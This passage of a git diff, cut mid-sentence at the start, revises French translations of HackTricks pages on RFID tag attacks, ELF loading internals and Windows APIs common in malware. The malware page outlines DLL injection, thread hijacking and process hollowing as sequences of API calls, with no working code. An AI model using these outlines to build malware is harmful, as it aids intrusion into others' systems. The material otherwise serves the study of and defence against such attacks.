d'autres étiquettes de la même classe, ce qui en fait des étiquettes **actives**. +* Les étiquettes de **classe 5** peuvent fournir **de l'énergie à d'autres étiquettes et communiquer avec toutes les classes d'étiquettes précédentes**. Les étiquettes de classe 5 peuvent agir en tant que **lecteurs RFID**. ### Informations stockées dans les étiquettes RFID @@ -43,21 +43,21 @@ La plupart des **contrôles de sécurité** RFID ont des mécanismes qui **restr ## Étiquettes RFID à basse fréquence (125 kHz) -Les **étiquettes à basse fréquence** sont souvent utilisées dans des systèmes qui **ne nécessitent pas une sécurité élevée** : accès aux bâtiments, clés d'interphone, cartes d'adhésion à une salle de sport, etc. En raison de leur portée plus grande, elles sont pratiques pour le stationnement payant : le conducteur n'a pas besoin d'approcher la carte du lecteur, car elle est déclenchée de plus loin. En même temps, les étiquettes à basse fréquence sont très primitives, elles ont un faible débit de transfert de données. Pour cette raison, il est impossible de mettre en œuvre un transfert de données bidirectionnel complexe pour des choses telles que le maintien de l'équilibre et la cryptographie. Les étiquettes à basse fréquence ne transmettent que leur ID court sans aucun moyen d'authentification. +Les **étiquettes à basse fréquence** sont souvent utilisées dans des systèmes qui **ne nécessitent pas une sécurité élevée** : accès aux bâtiments, clés d'interphone, cartes d'adhésion à une salle de sport, etc. En raison de leur portée plus grande, elles sont pratiques pour les parkings payants : le conducteur n'a pas besoin d'approcher la carte du lecteur, car elle est activée de plus loin. En même temps, les étiquettes à basse fréquence sont très primitives, elles ont un faible débit de transfert de données. Pour cette raison, il est impossible de mettre en œuvre un transfert de données bidirectionnel complexe pour des choses telles que le maintien de l'équilibre et la cryptographie. Les étiquettes à basse fréquence ne transmettent que leur ID court sans aucun moyen d'authentification. Ces dispositifs reposent sur la technologie **RFID passive** et fonctionnent dans une **plage de 30 kHz à 300 kHz**, bien qu'il soit plus courant d'utiliser 125 kHz à 134 kHz : -* **Longue portée** — une fréquence plus basse se traduit par une portée plus grande. Il existe des lecteurs EM-Marin et HID qui fonctionnent à une distance allant jusqu'à un mètre. Ils sont souvent utilisés dans les parkings. +* **Longue portée** — une fréquence plus basse se traduit par une portée plus grande. Il existe des lecteurs EM-Marin et HID, qui fonctionnent à une distance allant jusqu'à un mètre. Ils sont souvent utilisés dans les parkings. * **Protocole primitif** — en raison du faible débit de transfert de données, ces étiquettes ne peuvent transmettre que leur ID court. Dans la plupart des cas, les données ne sont pas authentifiées et ne sont protégées d'aucune manière. Dès que la carte est à portée du lecteur, elle commence simplement à transmettre son ID. * **Faible sécurité** — ces cartes peuvent être facilement copiées, voire lues depuis la poche de quelqu'un d'autre en raison de la primitivité du protocole. **Protocoles populaires à 125 kHz :** -* **EM-Marin** — EM4100, EM4102. Le protocole le plus populaire dans la CEI. Peut être lu à environ un mètre en raison de sa simplicité et de sa stabilité. +* **EM-Marin** — EM4100, EM4102. Le protocole le plus populaire dans la CEI. Peut être lu à partir d'environ un mètre en raison de sa simplicité et de sa stabilité. * **HID Prox II** — protocole basse fréquence introduit par HID Global. Ce protocole est plus populaire dans les pays occidentaux. Il est plus complexe et les cartes et lecteurs pour ce protocole sont relativement coûteux. -* **Indala** — très ancien protocole basse fréquence introduit par Motorola, puis acquis par HID. Vous avez moins de chances de le rencontrer dans la nature par rapport aux deux précédents car il est en train de tomber en désuétude. +* **Indala** — très ancien protocole basse fréquence introduit par Motorola, et plus tard acquis par HID. Vous avez moins de chances de le rencontrer dans la nature par rapport aux deux précédents car il est en voie de disparition. -En réalité, il existe de nombreux autres protocoles à basse fréquence. Mais ils utilisent tous la même modulation sur la couche physique et peuvent être considérés, d'une manière ou d'une autre, comme une variation de ceux énumérés ci-dessus. +En réalité, il existe de nombreux autres protocoles à basse fréquence. Mais ils utilisent tous la même modulation sur la couche physique et peuvent être considérés, d'une manière ou d'une autre, comme une variation de ceux répertoriés ci-dessus. ### Attaque @@ -70,13 +70,13 @@ Vous pouvez **attaquer ces étiquettes avec le Flipper Zero** : ## Étiquettes RFID à haute fréquence (13,56 MHz) Les **étiquettes à haute fréquence** sont utilisées pour une interaction lecteur-étiquette plus complexe lorsque vous avez besoin de cryptographie, d'un transfert de données bidirectionnel important, d'authentification, etc.\ -Elles sont généralement utilisées dans les cartes bancaires, les transports publics et autres passes sécurisées. +On les trouve généralement dans les cartes bancaires, les transports publics et autres passes sécurisées. -**Les étiquettes à haute fréquence de 13,56 MHz sont un ensemble de normes et de protocoles**. Elles sont généralement appelées [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), mais ce n'est pas toujours correct. Le jeu de protocoles de base utilisé aux niveaux physique et logique est l'ISO 14443. Les protocoles de haut niveau, ainsi que les normes alternatives (comme l'ISO 19092), sont basés sur celui-ci. Beaucoup de gens se réfèrent à cette technologie comme **Near Field Communication (NFC)**, un terme pour les appareils fonctionnant sur la fréquence de 13,56 MHz. +**Les étiquettes à haute fréquence de 13,56 MHz sont un ensemble de normes et de protocoles**. Elles sont généralement appelées [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/), mais ce n'est pas toujours correct. L'ensemble de protocoles de base utilisé aux niveaux physique et logique est l'ISO 14443. Les protocoles de haut niveau, ainsi que les normes alternatives (comme l'ISO 19092), sont basés sur celui-ci. Beaucoup de gens se réfèrent à cette technologie comme **Near Field Communication (NFC)**, un terme pour les appareils fonctionnant sur la fréquence de 13,56 MHz.
-Pour simplifier, l'architecture NFC fonctionne comme suit : le protocole de transmission est choisi par l'entreprise fabriquant les cartes et mis en œuvre sur la base du protocole de transmission ISO 14443 de bas niveau. Par exemple, NXP a inventé son propre protocole de transmission de haut niveau appelé Mifare. Mais au niveau inférieur, les cartes Mifare sont basées sur la norme ISO 14443-A. +Pour simplifier, l'architecture du NFC fonctionne comme suit : le protocole de transmission est choisi par l'entreprise fabriquant les cartes et mis en œuvre sur la base de l'ISO 14443 de bas niveau. Par exemple, NXP a inventé son propre protocole de transmission de haut niveau appelé Mifare. Mais au niveau inférieur, les cartes Mifare sont basées sur la norme ISO 14443-A. Flipper peut interagir à la fois avec le protocole de transmission ISO 14443 de bas niveau, ainsi qu'avec le protocole de transfert de données Mifare Ultralight et EMV utilisé dans les cartes bancaires. Nous travaillons à ajouter le support pour Mifare Classic et NFC NDEF. Un examen approfondi des protocoles et normes qui composent le NFC vaut un article séparé que nous prévoyons de publier ultérieurement. @@ -85,7 +85,7 @@ Toutes les cartes à haute fréquence basées sur la norme ISO 14443-A ont un id Il existe de nombreux systèmes de contrôle d'accès qui s'appuient sur l'UID pour **authentifier et accorder l'accès**. Parfois, cela se produit **même** lorsque les étiquettes RFID **supportent la cryptographie**. Un tel **mauvais usage** les ramène au niveau des **cartes 125 kHz** en termes de **sécurité**. Les cartes virtuelles (comme Apple Pay) utilisent un UID dynamique pour que les propriétaires de téléphones ne puissent pas ouvrir des portes avec leur application de paiement. * **Courte portée** — les cartes à haute fréquence sont spécialement conçues pour être placées à proximité du lecteur. Cela aide également à protéger la carte contre les interactions non autorisées. La portée de lecture maximale que nous avons réussi à atteindre était d'environ 15 cm, et c'était avec des lecteurs à longue portée fabriqués sur mesure. -* **Protocoles avancés** — des vitesses de transfert de données allant jusqu'à 424 kbps permettent des protocoles complexes avec un transfert de données bidirectionnel complet. Ce qui à son tour **permet la cryptographie**, le transfert de données, etc. +* **Protocoles avancés** — des vitesses de transfert de données allant jusqu'à 424 kbps permettent des protocoles complexes avec un transfert de données bidirectionnel complet. Ce qui **permet la cryptographie**, le transfert de données, etc. * **Haute sécurité** — les cartes sans contact à haute fréquence ne sont en aucun cas inférieures aux cartes à puce. Il existe des cartes qui prennent en charge des algorithmes de chiffrement cryptographiquement forts comme l'AES et mettent en œuvre la cryptographie asymétrique. ### Attaque @@ -104,16 +104,16 @@ Ou en utilisant le **proxmark** : ## Références -* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) +* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
-☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le **groupe Telegram** ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
diff --git a/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md b/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md index 62bfdac93..6226e10dc 100644 --- a/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md +++ b/reversing-and-exploiting/linux-exploiting-basic-esp/elf-tricks.md @@ -2,7 +2,7 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) @@ -14,7 +14,7 @@ ## En-têtes de programme -Ils indiquent au chargeur comment charger l'ELF en mémoire: +Ils décrivent au chargeur comment charger l'ELF en mémoire: ```bash readelf -lW lnstat @@ -86,7 +86,7 @@ Indique la configuration RELRO (Relocation Read-Only) du binaire. Cette protecti Dans l'exemple précédent, il copie 0x3b8 octets à 0x1fc48 en lecture seule affectant les sections `.init_array .fini_array .dynamic .got .data .bss`. -Notez que RELRO peut être partiel ou complet, la version partielle ne protège pas la section **`.plt.got`**, qui est utilisée pour le **liaison paresseuse** et a besoin que cet espace mémoire ait des **autorisations d'écriture** pour écrire l'adresse des bibliothèques la première fois que leur emplacement est recherché. +Notez que RELRO peut être partiel ou complet, la version partielle ne protège pas la section **`.plt.got`**, qui est utilisée pour la **liaison paresseuse** et a besoin que cet espace mémoire ait des **autorisations d'écriture** pour écrire l'adresse des bibliothèques la première fois que leur emplacement est recherché. ### TLS @@ -157,7 +157,7 @@ CONTENTS, READONLY ``` ### Sections Meta -* **Table des chaînes**: Elle contient toutes les chaînes nécessaires au fichier ELF (mais pas celles réellement utilisées par le programme). Par exemple, elle contient des noms de sections comme `.text` ou `.data`. Et si `.text` est à l'offset 45 dans la table des chaînes, il utilisera le nombre **45** dans le champ **nom**. +* **Table des chaînes**: Elle contient toutes les chaînes nécessaires au fichier ELF (mais pas celles réellement utilisées par le programme). Par exemple, elle contient des noms de sections comme `.text` ou `.data`. Et si `.text` est à l'offset 45 dans la table des chaînes, il utilisera le nombre **45** dans le champ **name**. * Pour trouver où se trouve la table des chaînes, l'ELF contient un pointeur vers la table des chaînes. * **Table des symboles**: Elle contient des informations sur les symboles comme le nom (offset dans la table des chaînes), l'adresse, la taille et plus de métadonnées sur le symbole. @@ -241,7 +241,7 @@ Le répertoire NEEDED indique que le programme **doit charger la bibliothèque m ## Réadressages -Le chargeur doit également relocaliser les dépendances après les avoir chargées. Ces réadressages sont indiqués dans la table de réadressage dans les formats REL ou RELA et le nombre de réadressages est donné dans les sections dynamiques RELSZ ou RELASZ. +Le chargeur doit également relocaliser les dépendances après les avoir chargées. Ces réadressages sont indiqués dans la table de réadressage aux formats REL ou RELA et le nombre de réadressages est donné dans les sections dynamiques RELSZ ou RELASZ. ``` readelf -r lnstat @@ -322,17 +322,17 @@ Par exemple, toute section de type `R_AARCH64_RELATIV` devrait avoir modifié l' ### Réadressages dynamiques et GOT -Le réadressage pourrait également faire référence à un symbole externe (comme une fonction d'une dépendance). Par exemple, la fonction malloc de libC. Ensuite, le chargeur lors du chargement de libC à une adresse vérifiant où la fonction malloc est chargée, écrira cette adresse dans la table GOT (Global Offset Table) (indiquée dans la table de réadressage) où l'adresse de malloc devrait être spécifiée. +Le réadressage pourrait également faire référence à un symbole externe (comme une fonction d'une dépendance). Comme la fonction malloc de libC. Ensuite, le chargeur lors du chargement de libC à une adresse vérifiant où la fonction malloc est chargée, écrira cette adresse dans la table GOT (Global Offset Table) (indiquée dans la table de réadressage) où l'adresse de malloc devrait être spécifiée. ### Table de liaison de procédures La section PLT permet d'effectuer une liaison paresseuse, ce qui signifie que la résolution de l'emplacement d'une fonction sera effectuée la première fois qu'elle est accédée. -Ainsi, lorsqu'un programme appelle malloc, il appelle en réalité l'emplacement correspondant de `malloc` dans la PLT (`malloc@plt`). La première fois qu'elle est appelée, elle résout l'adresse de `malloc` et la stocke afin que la prochaine fois que `malloc` est appelée, cette adresse soit utilisée à la place du code PLT. +Ainsi, lorsque qu'un programme appelle malloc, il appelle en réalité l'emplacement correspondant de `malloc` dans la PLT (`malloc@plt`). La première fois qu'elle est appelée, elle résout l'adresse de `malloc` et la stocke, de sorte que la prochaine fois que `malloc` est appelée, cette adresse est utilisée à la place du code PLT. ## Initialisation du programme -Après que le programme a été chargé, il est temps pour lui de s'exécuter. Cependant, le premier code qui est exécuté **n'est pas toujours la fonction `main`**. Cela est dû, par exemple en C++, au fait qu'une **variable globale est un objet d'une classe**, cet objet doit être **initialisé** **avant** l'exécution de main, comme dans: +Après que le programme a été chargé, il est temps pour lui de s'exécuter. Cependant, le premier code qui est exécuté **n'est pas toujours la fonction `main`**. Cela est dû, par exemple, en C++, si une **variable globale est un objet d'une classe**, cet objet doit être **initialisé** **avant** l'exécution de main, comme dans: ```cpp #include // g++ autoinit.cpp -o autoinit @@ -379,10 +379,10 @@ De plus, il est également possible d'avoir un **`PREINIT_ARRAY`** avec des **po Ils sont définis en utilisant le mot-clé **`__thread_local`** en C++ ou l'extension GNU **`__thread`**. -Chaque thread maintiendra un emplacement unique pour cette variable afin que seul le thread puisse accéder à sa variable. +Chaque thread maintiendra un emplacement unique pour cette variable, de sorte que seul le thread peut accéder à sa variable. Lorsque cela est utilisé, les sections **`.tdata`** et **`.tbss`** sont utilisées dans l'ELF. Ce sont comme `.data` (initialisé) et `.bss` (non initialisé) mais pour TLS. -Chaque variable aura une entrée dans l'en-tête TLS spécifiant la taille et le décalage TLS, qui est le décalage qu'elle utilisera dans la zone de données locale du thread. +Chaque variable aura une entrée dans l'en-tête TLS spécifiant la taille et le décalage TLS, qui est le décalage qu'il utilisera dans la zone de données locale du thread. Le `__TLS_MODULE_BASE` est un symbole utilisé pour faire référence à l'adresse de base du stockage local aux threads et pointe vers la zone en mémoire qui contient toutes les données locales aux threads d'un module. diff --git a/reversing/common-api-used-in-malware.md b/reversing/common-api-used-in-malware.md index 105b6e713..f58bdb1df 100644 --- a/reversing/common-api-used-in-malware.md +++ b/reversing/common-api-used-in-malware.md @@ -1,32 +1,30 @@ -```markdown
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} *** - -# Général +# Générique ## Réseau -| Sockets Bruts | Sockets WinAPI | +| Sockets bruts | Sockets WinAPI | | ------------- | -------------- | | socket() | WSAStratup() | | bind() | bind() | @@ -39,7 +37,7 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi ## Persistance -| Registre | Fichier | Service | +| Registre | Fichier | Service | | ---------------- | ------------- | ---------------------------- | | RegCreateKeyEx() | GetTempPath() | OpenSCManager | | RegOpenKeyEx() | CopyFile() | CreateService() | @@ -47,9 +45,9 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi | RegDeleteKeyEx() | WriteFile() | | | RegGetValue() | ReadFile() | | -## Cryptographie +## Chiffrement -| Nom | +| Nom | | --------------------- | | WinCrypt | | CryptAcquireContext() | @@ -60,25 +58,25 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi ## Anti-Analyse/VM -| Nom de la fonction | Instructions d'assemblage | -| --------------------------------------------------------- | --------------------- | -| IsDebuggerPresent() | CPUID() | -| GetSystemInfo() | IN() | -| GlobalMemoryStatusEx() | | -| GetVersion() | | -| CreateToolhelp32Snapshot \[Vérifier si un processus est en cours d'exécution] | | -| CreateFileW/A \[Vérifier si un fichier existe] | | +| Nom de la fonction | Instructions d'assemblage | +| --------------------------------------------------------- | ------------------------ | +| IsDebuggerPresent() | CPUID() | +| GetSystemInfo() | IN() | +| GlobalMemoryStatusEx() | | +| GetVersion() | | +| CreateToolhelp32Snapshot \[Vérifier si un processus est en cours d'exécution] | | +| CreateFileW/A \[Vérifier si un fichier existe] | | -## Discrétion +## Furtivité | Nom | | | ------------------------ | -------------------------------------------------------------------------- | -| VirtualAlloc | Allouer de la mémoire (packers) | -| VirtualProtect | Changer les permissions de mémoire (packer donnant la permission d'exécution à une section) | -| ReadProcessMemory | Injection dans des processus externes | -| WriteProcessMemoryA/W | Injection dans des processus externes | +| VirtualAlloc | Allouer de la mémoire (packers) | +| VirtualProtect | Changer les autorisations de mémoire (packer donnant l'autorisation d'exécution à une section) | +| ReadProcessMemory | Injection dans des processus externes | +| WriteProcessMemoryA/W | Injection dans des processus externes | | NtWriteVirtualMemory | | -| CreateRemoteThread | Injection de DLL/Processus... | +| CreateRemoteThread | Injection de DLL/processus... | | NtUnmapViewOfSection | | | QueueUserAPC | | | CreateProcessInternalA/W | | @@ -95,85 +93,83 @@ Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapi ## Divers -* GetAsyncKeyState() -- Enregistrement de frappe -* SetWindowsHookEx -- Enregistrement de frappe -* GetForeGroundWindow -- Obtenir le nom de la fenêtre en cours (ou le site web depuis un navigateur) +* GetAsyncKeyState() -- Enregistrement des touches +* SetWindowsHookEx -- Enregistrement des touches +* GetForeGroundWindow -- Obtenir le nom de la fenêtre en cours d'exécution (ou le site web à partir d'un navigateur) * LoadLibrary() -- Importer une bibliothèque * GetProcAddress() -- Importer une bibliothèque -* CreateToolhelp32Snapshot() -- Lister les processus en cours +* CreateToolhelp32Snapshot() -- Liste des processus en cours d'exécution * GetDC() -- Capture d'écran * BitBlt() -- Capture d'écran * InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Accéder à Internet * FindResource(), LoadResource(), LockResource() -- Accéder aux ressources de l'exécutable -# Techniques de Malware +# Techniques de logiciels malveillants ## Injection de DLL -Exécuter une DLL arbitraire à l'intérieur d'un autre processus +Exécutez une DLL arbitraire à l'intérieur d'un autre processus -1. Localiser le processus pour injecter la DLL malveillante : CreateToolhelp32Snapshot, Process32First, Process32Next -2. Ouvrir le processus : GetModuleHandle, GetProcAddress, OpenProcess -3. Écrire le chemin vers la DLL à l'intérieur du processus : VirtualAllocEx, WriteProcessMemory -4. Créer un thread dans le processus qui chargera la DLL malveillante : CreateRemoteThread, LoadLibrary +1. Localisez le processus pour injecter la DLL malveillante : CreateToolhelp32Snapshot, Process32First, Process32Next +2. Ouvrez le processus : GetModuleHandle, GetProcAddress, OpenProcess +3. Écrivez le chemin de la DLL à l'intérieur du processus : VirtualAllocEx, WriteProcessMemory +4. Créez un thread dans le processus qui chargera la DLL malveillante : CreateRemoteThread, LoadLibrary Autres fonctions à utiliser : NTCreateThreadEx, RtlCreateUserThread -## Injection de DLL Réflective +## Injection de DLL réfléchie -Charger une DLL malveillante sans appeler les appels API Windows normaux.\ +Chargez une DLL malveillante sans appeler les appels API Windows normaux.\ La DLL est mappée à l'intérieur d'un processus, elle résoudra les adresses d'importation, corrigera les relocalisations et appellera la fonction DllMain. -## Détournement de Thread +## Détournement de thread -Trouver un thread d'un processus et le faire charger une DLL malveillante +Trouvez un thread d'un processus et faites-le charger une DLL malveillante -1. Trouver un thread cible : CreateToolhelp32Snapshot, Thread32First, Thread32Next -2. Ouvrir le thread : OpenThread -3. Suspendre le thread : SuspendThread -4. Écrire le chemin vers la DLL malveillante à l'intérieur du processus victime : VirtualAllocEx, WriteProcessMemory -5. Reprendre le thread en chargeant la bibliothèque : ResumeThread +1. Trouvez un thread cible : CreateToolhelp32Snapshot, Thread32First, Thread32Next +2. Ouvrez le thread : OpenThread +3. Suspendez le thread : SuspendThread +4. Écrivez le chemin de la DLL malveillante à l'intérieur du processus victime : VirtualAllocEx, WriteProcessMemory +5. Reprenez le thread en chargeant la bibliothèque : ResumeThread -## Injection de PE +## Injection PE -Injection d'Exécution Portable : L'exécutable sera écrit dans la mémoire du processus victime et il sera exécuté à partir de là. +Injection d'exécution portable : L'exécutable sera écrit dans la mémoire du processus victime et sera exécuté à partir de là. -## Évidement de Processus +## Creusement de processus -Le malware déchargera le code légitime de la mémoire du processus et chargera un binaire malveillant +Le logiciel malveillant désallouera le code légitime de la mémoire du processus et chargera un binaire malveillant -1. Créer un nouveau processus : CreateProcess -2. Décharger la mémoire : ZwUnmapViewOfSection, NtUnmapViewOfSection -3. Écrire le binaire malveillant dans la mémoire du processus : VirtualAllocEc, WriteProcessMemory -4. Définir le point d'entrée et exécuter : SetThreadContext, ResumeThread +1. Créez un nouveau processus : CreateProcess +2. Désallouez la mémoire : ZwUnmapViewOfSection, NtUnmapViewOfSection +3. Écrivez le binaire malveillant dans la mémoire du processus : VirtualAllocEc, WriteProcessMemory +4. Définissez le point d'entrée et exécutez : SetThreadContext, ResumeThread -# Hooking +# Accrochage -* La **SSDT** (**System Service Descriptor Table**) pointe vers des fonctions du noyau (ntoskrnl.exe) ou du pilote GUI (win32k.sys) afin que les processus utilisateur puissent appeler ces fonctions. +* La **SSDT** (**System Service Descriptor Table**) pointe vers les fonctions du noyau (ntoskrnl.exe) ou du pilote GUI (win32k.sys) afin que les processus utilisateur puissent appeler ces fonctions. * Un rootkit peut modifier ces pointeurs vers des adresses qu'il contrôle -* Les **IRP** (**I/O Request Packets**) transmettent des données d'un composant à un autre. Presque tout dans le noyau utilise les IRP et chaque objet de périphérique a sa propre table de fonctions qui peut être détournée : DKOM (Direct Kernel Object Manipulation) -* La **IAT** (**Import Address Table**) est utile pour résoudre les dépendances. Il est possible de détourner cette table afin de pirater le code qui sera appelé. -* Les Hooks **EAT** (**Export Address Table**). Ces hooks peuvent être réalisés depuis **l'espace utilisateur**. Le but est de détourner les fonctions exportées par les DLL. -* **Hooks en ligne** : Ce type est difficile à réaliser. Cela implique de modifier le code des fonctions elles-mêmes. Peut-être en mettant un saut au début de celles-ci. - +* Les **IRP** (**I/O Request Packets**) transmettent des morceaux de données d'un composant à un autre. Presque tout dans le noyau utilise des IRP et chaque objet de périphérique a sa propre table de fonctions qui peut être accrochée : DKOM (Direct Kernel Object Manipulation) +* L'**IAT** (**Import Address Table**) est utile pour résoudre les dépendances. Il est possible d'accrocher cette table afin de détourner le code qui sera appelé. +* Accrochage de l'**EAT** (**Export Address Table**). Ces accrochages peuvent être faits depuis l'**espace utilisateur**. Le but est d'accrocher les fonctions exportées par les DLL. +* **Accrochages en ligne** : Ce type est difficile à réaliser. Cela implique de modifier le code des fonctions elles-mêmes. Peut-être en mettant un saut au début de celles-ci.
-Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm_source=referral&utm_campaign=hacktricks) aujourd'hui. +Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, lance des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui. {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
-Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -Autres moyens de soutenir HackTricks : +Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
-``` diff --git a/reversing/cryptographic-algorithms/README.md b/reversing/cryptographic-algorithms/README.md index f960c4bb4..b36b7ae35 100644 --- a/reversing/cryptographic-algorithms/README.md +++ b/reversing/cryptographic-algorithms/README.md @@ -1,24 +1,24 @@ -# Algorithmes Cryptographiques/Compression +# Algorithmes cryptographiques/de compression -## Algorithmes Cryptographiques/Compression +## Algorithmes cryptographiques/de compression
